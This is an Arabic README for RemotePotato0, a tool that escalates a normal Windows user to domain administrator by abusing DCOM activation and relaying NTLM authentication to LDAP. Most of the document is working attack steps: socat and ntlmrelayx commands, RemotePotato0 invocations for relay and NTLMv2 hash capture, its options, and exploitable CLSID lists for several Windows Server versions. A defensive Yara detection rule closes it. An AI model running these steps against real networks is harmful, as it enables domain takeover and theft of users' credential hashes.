
تصعيد الامتيازات في ويندوز من مستخدم إلى مسؤول المجال
تحديث 21-10-2022: تم إصلاح السيناريو الرئيسي للاستغلال RPC->LDAP الخاص بـ RemotePotato0. مزيد من التفاصيل على --> https://twitter.com/splinter_code/status/1583555613950255104
مجرد ثغرة أخرى "Won't Fix" لرفع الصلاحيات في Windows من مستخدم إلى مسؤول المجال.
RemotePotato0 هي أداة استغلال تسمح لك برفع صلاحياتك من مستخدم عادي إلى مسؤول المجال.
باختصار:
إنها تسيء استخدام خدمة تفعيل DCOM وتقوم بتشغيل مصادقة NTLM لأي مستخدم مسجل حاليًا على الجهاز المستهدف. مطلوب أن يكون مستخدم متميز مسجل على نفس الجهاز (مثل مستخدم مسؤول المجال). بمجرد تشغيل NTLM type1، نقوم بإعداد خادم ترحيل عبر البروتوكولات الذي يستقبل رسالة type1 المتميزة ويرسلها إلى مورد ثالث عن طريق فك بروتوكول RPC وتعبئة المصادقة عبر HTTP. على الطرف المتلقي يمكنك إعداد عقدة ترحيل إضافية (مثل ntlmrelayx) أو الترحيل مباشرة إلى مورد متميز. تسمح RemotePotato0 أيضًا بالتقاط وسرقة تجزئات NTLMv2 لجميع المستخدمين المسجلين على جهاز.
جهاز المهاجم (10.0.0.20)
جهاز الضحية (10.0.0.45)
وحدة تحكم المجال للضحية (10.0.0.10)
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.0.0.45:9999 &
sudo ntlmrelayx.py -t ldap://10.0.0.10 --no-wcf-server --escalate-user normal_user
ملاحظة: إذا كنت على Windows Server <= 2016 يمكنك تجنب معيد توجيه الشبكة (socat) لأنه يمكن إجراء تحليل oxid محليًا.
query user
.\RemotePotato0.exe -m 0 -r 10.0.0.20 -x 10.0.0.20 -p 9999 -s 1
.\RemotePotato0.exe -m 1 -l 9997 -r 10.0.0.20
rpcping -s 127.0.0.1 -e 9997 -a connect -u ntlm
query user
.\RemotePotato0.exe -m 2 -s 1
.\RemotePotato0.exe -m 3 -l 9997
rpcping -s 127.0.0.1 -e 9997 -a connect -u ntlm
RemotePotato0
@splinter_code & @decoder_it
وسائط إلزامية:
-m الوحدة
القيم المسموح بها:
0 - خادم ترحيل عبر البروتوكولات Rpc2Http + مشغل البطاطس (افتراضي)
1 - خادم ترحيل عبر البروتوكولات Rpc2Http
2 - خادم التقاط RPC (التجزئة) + مشغل البطاطس
3 - خادم التقاط RPC (التجزئة)
وسائط أخرى: (قد تكون بعضها إلزامية و/أو اختيارية بناءً على الوحدة التي تستخدمها)
-r عنوان IP لخادم ترحيل HTTP البعيد
-t منفذ خادم ترحيل HTTP البعيد (افتراضي 80)
-x عنوان IP لحل Oxid المزيف (افتراضي 127.0.0.1)
-p منفذ حل Oxid المزيف (افتراضي 9999)
-l منفذ استماع خادم ترحيل RPC (افتراضي 9997)
-s معرف الجلسة لهجوم تفعيل الجلسة المتقاطعة (افتراضي معطل)
-c CLSID (افتراضي {5167B42F-C111-47A1-ACC4-8EABE61B0B54})
قائمة CLSID قابلة للاستخدام على إصدارات Windows المختلفة:
Windows Server 2019
{0002DF02-0000-0000-C000-000000000046} - فئة BrowserBroker
{0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4} - AuthBrokerUI
{5167B42F-C111-47A1-ACC4-8EABE61B0B54} - Easconsent.dll
{924DC564-16A6-42EB-929A-9A61FA7DA06F} - واجهة مصادقة CredUI خارج المعالجة لعملاء غير حاويين للتطبيقات
{934b410c-43e4-415e-9935-fbc081ba93a9} - UserInfoDialog
{BA441419-0B3F-4FB6-A903-D16CC14CCA44} - CLSID_LockScreenContentionFlyout
{c58ca859-80bc-48df-8f06-ffa94a405bff} - Picker Host
{f65817c8-dd85-4136-89f0-b9d12939f2c4} - IsolatedMessageDialogFactory
{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83} - فئة SPPUIObjectInteractive
{f8842f8e-dafe-4b37-9d38-4e0714a61149} - CastServerInteractiveUser
Windows Server 2016
{924DC564-16A6-42EB-929A-9A61FA7DA06F}
{f65817c8-dd85-4136-89f0-b9d12939f2c4}
{BA441419-0B3F-4FB6-A903-D16CC14CCA44}
{0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4}
{934b410c-43e4-415e-9935-fbc081ba93a9}
{f8842f8e-dafe-4b37-9d38-4e0714a61149}
{0002DF02-0000-0000-C000-000000000046}
{5167B42F-C111-47A1-ACC4-8EABE61B0B54}
{c58ca859-80bc-48df-8f06-ffa94a405bff}
{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
Windows Server 2008 R2
{FCC74B77-EC3E-4dd8-A80B-008A702075A9}
{9BA05972-F6A8-11CF-A442-00A0C90A8F39}
{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
يمكنك العثور على قائمة أكثر اكتمالاً هنا --> http://ohpe.it/juicy-potato/CLSID/
قاعدة Yara لاكتشاف ملف RemotePotato0 الثنائي:
rule SentinelOne_RemotePotato0_privesc {
meta:
author = "SentinelOne"
description = "Detects RemotePotato0 binary"
reference = "https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop"
strings:
$import1 = "CoGetInstanceFromIStorage"
$istorage_clsid = "{00000306-0000-0000-c000-000000000046}" nocase wide ascii
$meow_header = { 4d 45 4f 57 }
$clsid1 = "{11111111-2222-3333-4444-555555555555}" nocase wide ascii
$clsid2 = "{5167B42F-C111-47A1-ACC4-8EABE61B0B54}" nocase wide ascii
condition:
(uint16(0) == 0x5A4D) and $import1 and $istorage_clsid and $meow_header and 1 of ($clsid*)
}